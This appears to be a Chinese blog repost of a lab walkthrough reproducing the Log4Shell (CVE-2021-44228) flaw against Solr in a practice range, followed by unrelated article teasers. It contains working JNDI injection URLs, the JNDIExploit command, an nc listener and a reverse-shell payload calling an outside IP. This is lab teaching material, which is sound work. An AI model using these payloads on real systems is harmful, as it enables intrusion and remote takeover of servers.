【靶机实战】Apache Log4j2命令执行漏洞复现

news/2024/7/8 3:48:27 标签: 网络安全, web安全

# 在线靶场

可以通过访问极核官方靶场开启靶机实验:极核靶场 -> 漏洞复现靶场 -> Log4j2-RCE

原文:【靶机实战】Apache Log4j2命令执行漏洞复现 - 极核GetShell (get-shell.com)

# 简介

Apache Log4j2 是一个广泛使用的 Java 日志记录库,它允许开发者将日志信息输出到不同的目的地。2021年12月,一个严重的漏洞(CVE-2021-44228)被发现,这个漏洞允许攻击者通过构造特定的输入,利用 Log4j2 的 JNDI(Java Naming and Directory Interface)功能,远程执行任意代码。这意味着如果应用程序使用了受影响版本的 Log4j2,并且允许用户控制日志输入,攻击者就可以通过发送恶意的日志请求,执行服务器上的任意命令,从而获得对服务器的控制,这个漏洞被称为 “Log4Shell”。

# 漏洞复现

打开打开靶场首页,是Solr 8.110的系统,这个系统的版本存在Log4j2的漏洞

图片[1] - 【靶机实战】Apache Log4j2命令执行漏洞复现 - 极核GetShell

我们使用DNSLOG平台:www.dnslog.cn,点击Get SubDomain,获得一个临时域名,生成备用。

然后访问Solr靶场,访问:http://domain/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.example.com},将example.com替换为dnslog生成的域名,例如:http://node.hackhub.get-shell.com:52003/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.j9oi8g.dnslog.cn},然后进行访问,Solr出现这样的界面。

图片[2] - 【靶机实战】Apache Log4j2命令执行漏洞复现 - 极核GetShell

查看DNSLog平台,点击Refresh Record,发现出现了访问记录,这是服务端发起了请求,说明此处存在JDNI注入

图片[3] - 【靶机实战】Apache Log4j2命令执行漏洞复现 - 极核GetShell

利用JNDI注入工具:【JNDI注入利用工具】JNDIExploit 进行注入,在一个拥有公网IP的服务器上运行此工具(建议使用JDK8),命令:java -jar JNDIExploit-1.3-SNAPSHOT.jar -i <出口IP>

图片[4] - 【靶机实战】Apache Log4j2命令执行漏洞复现 - 极核GetShell

然后再此服务器上使用NC开启监听12345端口,命令:nc -lvvp 12345

图片[5] - 【靶机实战】Apache Log4j2命令执行漏洞复现 - 极核GetShell

回到Solr靶场,利用JNDI注入工具的反弹Shell功能,访问URL:http://domian/solr/admin/cores?action=${jndi:ldap://<JNDI服务端IP>:1389/Basic/ReverseShell/<nc监听的IP>/<nc监听的端口>},例如:http://node.hackhub.get-shell.com:52003/solr/admin/cores?action=${jndi:ldap://43.129.200.87:1389/Basic/ReverseShell/43.129.200.87/12345}

图片[6] - 【靶机实战】Apache Log4j2命令执行漏洞复现 - 极核GetShell

然后查看NC监听机,发现Shell已经成功反弹过来了,这时候已经完全控制了服务端,可以随意执行命令了。

图片[7] - 【靶机实战】Apache Log4j2命令执行漏洞复现 - 极核GetShell


http://www.niftyadmin.cn/n/5536329.html

相关文章

相机光学(二十五)——数字相机和模拟相机

数字摄像机是指摄像机的图像处理及信号的记录全部使用数字信号完成的摄像机。此种摄像机的最大的特征是磁带上记录的信号为数字信号&#xff0c;而非模拟信号。数字摄像机摄取的图像信号经CCD转化为电信号后&#xff0c;马上经电路进行数字化&#xff0c;以后在记录到磁带之前的…

QT5.12环境搭建与源码编译

一、概述 QT版本&#xff1a;QT5.12.10 Qt网址&#xff1a;http://download.qt.io/archive/qt/ 编译平台 ubuntu18.04 二、安装交叉编译工具链 1、获取交叉编译工具链 一般如果是编译系统如果有对应的gcc 就是用这个就可以了 比如rk3128 lin…

入门PHP就来我这(纯干货)08

~~~~ 有胆量你就来跟着路老师卷起来&#xff01; -- 纯干货&#xff0c;技术知识分享 ~~~~ 路老师给大家分享PHP语言的知识了&#xff0c;旨在想让大家入门PHP&#xff0c;并深入了解PHP语言。 1 PHP对象的高级应用 1.1 final关键字 final 最终的、最后的。被final修饰过的类…

vscode(七):设置不同括号有不同颜色

一、打开vscode 的setting界面 输入 bracket pair &#xff0c;将Editor › Guides: Bracket Pairs这一项设置为true 二、效果 不同括号对具有不同的颜色

算法库应用-顺序串(串比较)

学习贺利坚老师博客 数据结构例程——串的顺序存储应用_使用顺序串存储身份证号-CSDN博客 本人详细解析博客 串的顺序存储结构应用_(1)假设串采用顺序串存储,设计一个算法程序,按顺序比较两个串s和t的大小。请-CSDN博客 版本日志 V1.0: 利用顺序串, 进行简单的判断比较, 也算是…

离线安装arm架构Firefox

离线安装Firefox浏览器及其插件在ARM架构的设备上&#xff08;如树莓派、部分Android设备或其他采用ARM处理器的Linux系统&#xff09;可能需要一些特殊步骤&#xff0c;因为默认情况下&#xff0c;大多数浏览器和插件都是为x86架构设计的。对于ARM架构&#xff0c;你需要找到特…

spring6框架解析(by尚硅谷)

文章目录 spring61. 一些基本的概念、优势2. 入门案例实现maven聚合工程创建步骤分析实现过程 3. IoC&#xff08;Inversion of Control&#xff09;基于xml的bean环境搭建获取bean获取接口创建实现类依赖注入 setter注入 和 构造器注入原生方式的setter注入原生方式的构造器注…

vue2 webpack使用optimization.splitChunks分包,实现按需引入,进行首屏加载优化

optimization.splitChunks的具体功能和配置信息可以去网上自行查阅。 这边简单讲一下他的使用场景、作用、如何使用&#xff1a; 1、没用使用splitChunks进行分包之前&#xff0c;所有模块都揉在一个文件里&#xff0c;那么当这个文件足够大、网速又一般的时候&#xff0c;首…